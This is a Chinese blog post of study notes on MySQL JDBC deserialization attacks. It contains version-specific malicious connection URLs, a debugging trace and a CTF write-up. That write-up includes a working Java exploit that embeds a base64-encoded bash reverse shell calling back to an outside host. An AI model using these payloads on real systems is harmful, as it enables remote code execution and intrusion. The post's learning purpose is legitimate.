MySQL JDBC反序列化学习
date
Nov 4, 2021
slug
mysql-jdbc-deserialize-learn
status
Published
tags
Java安全
安全研究
summary
继续学Java~~~
type
Post
如何利用
这个需要利用起来还是比较鸡肋需要jdbc的url里面的部分参数可控才可行,关键是
autoDeserialize
以及queryInterceptors
/detectCustomCollations
可以注入到url参数中,然后传输恶意的二进制内容这个漏洞本质上就是个反序列化
每个版本的连接payload是不一样的
public class test1 {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
可以利用这个工具:
归纳了一些payload:
ServerStatusDiffInterceptor触发
- 8.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 6.x(属性名不同):
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 5.1.11及以上的5.x版本(包名没有了cj):
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 5.1.10及以下的5.1.X版本: 同上,但是需要连接后执行查询。
- 5.0.x: 还没有
ServerStatusDiffInterceptor
这个东西┓( ´∀` )┏
detectCustomCollations触发:
- 5.1.41及以上: 不可用
- 5.1.29-5.1.40:
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.28-5.1.19:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.18以下的5.1.x版本: 不可用
- 5.0.x版本不可用
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F093d4a9a-3316-4e1f-92d8-d68b3c888ee6%2FUntitled.png%3Fid%3D763608c2-717c-45fe-9cf1-39fa9ceab69e%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DJtjWrXfnMMY-61sMYF8yXeXZX_CegJhs-be39pDGJRY?table=block&id=763608c2-717c-45fe-9cf1-39fa9ceab69e&cache=v2)
调试
以6.0.x版本的进行调试
最终触发点:
mysql-connector-java-6.0.2.jar!/com/mysql/cj/jdbc/ResultSetImpl.class:1273
首先会通过getConnection进入到
mysql-connector-java-6.0.2.jar!/com/mysql/cj/jdbc/interceptors/ServerStatusDiffInterceptor.class:48
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F030cec44-63f6-464c-a804-81cbf1d175df%2FUntitled.png%3Fid%3D4147a3d8-b2e7-4757-89da-79f9c847be22%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DQ2_j2kkWze2omRboJorFYhQ2rmnkgSfeyUL2TcWgpHk?table=block&id=4147a3d8-b2e7-4757-89da-79f9c847be22&cache=v2)
这里ServerStatusDiffInterceptor的preProcess方法(执行SQL Query前需要执行的方法),调用了populateMapWithSessionStatusValues
执行了SHOW SESSION STAUS语句并获取结果,继续跟入resultSetToMap方法,java.sql.ResultSet#getObject(int)
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F7abac9ab-cde2-4db1-b04d-a9ffa9db8c34%2FUntitled.png%3Fid%3D0d25be1d-e9e3-4d08-8297-0cbef1a8c43e%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DpG0WB5-Jhz-2pcRxUJtyKKN1oBis_ErRKiouDY-TeFk?table=block&id=0d25be1d-e9e3-4d08-8297-0cbef1a8c43e&cache=v2)
此时rs变量就是
com.mysql.cj.jdbc.ResultSetImpl
的对象了,进一步就到getObject函数,这里面就是反序列化的触发点,前提是需要绕过几个条件,也就是jdbc的URL里面设置的那些内容![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fcfb6b84f-f3e4-4633-a4d3-38c2531076e2%2FUntitled.png%3Fid%3D21281e15-7a0d-4bba-af3c-aa4e05094102%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DpuQv-Tt-suK-bxde91FUEEvw6fE29xQSr2vqrwuJ0vM?table=block&id=21281e15-7a0d-4bba-af3c-aa4e05094102&cache=v2)
整个题目
快速学会一下怎么使用工具了算是
例题:a_piece_of_java
很明显hello路由下存在一个反序列化
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F5e1046ce-b644-48d1-870e-a0cdb8852e88%2FUntitled.png%3Fid%3D8a6337cc-0c6d-4322-8847-41e8902de20e%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DL87mo7Iucpt2ULb7KH2v1TIcEENo30e9s6w5lkKTwCI?table=block&id=8a6337cc-0c6d-4322-8847-41e8902de20e&cache=v2)
解base64编码,然后存在一个
SerialKiller
对反序列化进行了限制,是个白名单,看来只允许原生类![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fb8badadc-ca61-48e4-823a-e7e3f8ed9bf2%2FUntitled.png%3Fid%3D6f4956f8-2cb5-4731-b993-42dad245e556%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DzoiHhmqNQCBu3XjPeDwUu3qwjIqcxNG5R7hlwVOE2Ck?table=block&id=6f4956f8-2cb5-4731-b993-42dad245e556&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Ff7483395-cfa5-4039-8e0d-a811df92b7f0%2FUntitled.png%3Fid%3D15aceff3-86c5-4ee3-af56-f96af0170dcc%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DKJuqN3OCEDJv_4l3uH6oUpTX9ZCvTEYcuIu4dEgyFvM?table=block&id=15aceff3-86c5-4ee3-af56-f96af0170dcc&cache=v2)
依赖里面存在一个mysql,如果想要触发反序列化的话就得从这个点入手了,但是跟数据库相关的是JDBC反序列化,这么能够联动起来呢?好像又没有啥好方法
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fe8a100d0-a3d8-48fe-9628-4d4e053615b0%2FUntitled.png%3Fid%3D9339d044-7f58-4a90-beb7-feb43ee3c9d4%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DuA9pqxmViBpgcAZAWZr7ireQSoqcx93OclwPGrf-0oo?table=block&id=9339d044-7f58-4a90-beb7-feb43ee3c9d4&cache=v2)
但是这个题目给了一个动态代理类,里面实现了invoke方法,可以看到这个方法hook了getAllInfo方法,还会触发
checkAllInfo()
方法![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F4dbe77ed-609d-47e1-92b5-4f3cf3e376b7%2FUntitled.png%3Fid%3Dd0434c8b-1ad5-4b5b-b5d0-65017a741b74%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3D2NtkJGbVubTijFJ6c0TfdadxiEFgY7ilBDtcTswKDCk?table=block&id=d0434c8b-1ad5-4b5b-b5d0-65017a741b74&cache=v2)
再去瞅一下
this.info
,是Info
的数据类型,然后看了一下实现这个类的子类有哪些,发现gdufs.challenge.web.model.DatabaseInfo
类里面的checkAllInfo
会执行connect函数,在connect函数里面就可以对数据库的url进行控制达到jdbc
反序列化的效果,此时就绕过SerialKiller
的限制,走的另外的路子触发反序列化了![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F9354c719-64ac-4c6a-bdd5-cd7b0caedff4%2FUntitled.png%3Fid%3Dec4b6cde-4ab4-42d0-891c-6ff8c1d66c36%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3D5Jqnp_6Gcn6oHqTQaTBcL7JEs6P9eZf_Ig7uMYlXkAQ?table=block&id=ec4b6cde-4ab4-42d0-891c-6ff8c1d66c36&cache=v2)
那么现在看来就不是去触发原生反序列化了,而是找到触发
getAllInfo
的方法,那么就是这个点了![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F045db9d4-9555-4772-9f32-ad143c865cb7%2FUntitled.png%3Fid%3D28478b94-e865-450f-8a4f-e353e2e3f349%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DhyEGoFFFH8n6TW4dqRMMbn1la-R5DMY8oALseF7VyE0?table=block&id=28478b94-e865-450f-8a4f-e353e2e3f349&cache=v2)
那么整个思路就很明显了,所以最后应该封装的是动态代理Proxy对象,里面的handler是
InfoInvocationHandler
,又由于lib文件夹里面有CC组件,可以使用CC链进行利用,以后还是看lib文件夹吧,单看pom不太可靠反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class TSOChain {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
DatabaseInfo databaseInfo = new DatabaseInfo();
setFieldValue(databaseInfo, "host", "192.168.65.2");
setFieldValue(databaseInfo, "port", "3306");
//payload从username里面设置
setFieldValue(databaseInfo, "username", "yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjUuMi85MDAxIDA%2bJjE=}|{base64,-d}|{bash,-i}");
setFieldValue(databaseInfo, "password", "xss&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
//反射初始化代理类
Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Info.class);
construct.setAccessible(true);
//InfoInvocationHandler好像得用代理类Proxy封装
InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(proxinfo);
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}
这个就用到了‣ 这个工具了,这次我是真的学会了这个工具是怎么个用法了,TMD之前一直以为每弄一次就得在这个工具里面的config.json设置一次,原来这东西是个相当于快捷设置而已,关键的地方在于设置可控的username那个点,针对这个题目(默认没设置config)我们设置成
yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjUuMi85MDAxIDA%2bJjE=}|{base64,-d}|{bash,-i}
,就相当于调用yso了,如果我们在config里面设置了,就直接把username设置成CommonsCollections5
就可以了还是再看仔细点文档🐶
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fb7724b70-8475-41f3-bc52-ab1a7dbbaad2%2FUntitled.png%3Fid%3De6044ca1-f7a2-476d-9c43-008ca8596b22%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3DVrCOuIb3w2KcW0oDRyGNBKxu_bTm_q9uCSLj7sTgnAU?table=block&id=e6044ca1-f7a2-476d-9c43-008ca8596b22&cache=v2)
启动,然后反弹shell成功
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Ff94c56d6-3051-4472-9f91-13a86a3c3f2d%2FUntitled.png%3Fid%3D2fd8cf2a-3e64-423d-b557-6e85973ea144%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722132000000%26signature%3Deyv2zPxM8BTOi3ZD-i7NtM5PjAnjjU7LyL9DTdp94DM?table=block&id=2fd8cf2a-3e64-423d-b557-6e85973ea144&cache=v2)
这个工具有坑,防止
+
变成空格,得把一些+
URL编码成%2b不然传输过来的是空格,估计参数发的是GET请求